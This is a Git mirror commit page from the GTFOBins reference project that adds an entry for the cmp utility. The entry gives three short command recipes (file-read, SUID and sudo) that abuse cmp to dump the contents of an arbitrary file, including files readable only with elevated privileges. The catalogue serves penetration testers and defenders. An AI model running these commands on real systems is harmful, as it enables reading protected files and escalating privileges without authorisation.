1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-18 13:26:03 +02:00

Create cmp.md

This commit is contained in:
LinuxSploit 2021-07-13 10:33:49 +05:00 committed by Andrea Cardaci
parent d6accb1ca3
commit a9313397a0

21
_gtfobins/cmp.md Normal file
View File

@ -0,0 +1,21 @@
---
functions:
file-read:
- code: |
LFILE=file-to-read
TEMP=$(mktemp)
printf 'A%.0s' {1..999} > $TEMP
cmp $LFILE $TEMP -b -n 999 -l
suid:
- code: |
LFILE=file-to-read
TEMP=$(mktemp)
printf 'a%.0s' {1..999} > $TEMP
cmp $LFILE $TEMP -b -n 999 -l
sudo:
- code: |
LFILE=file-to-read
TEMP=$(mktemp)
printf 'a%.0s' {1..999} > $TEMP
sudo cmp $LFILE $TEMP -b -n 999 -l
---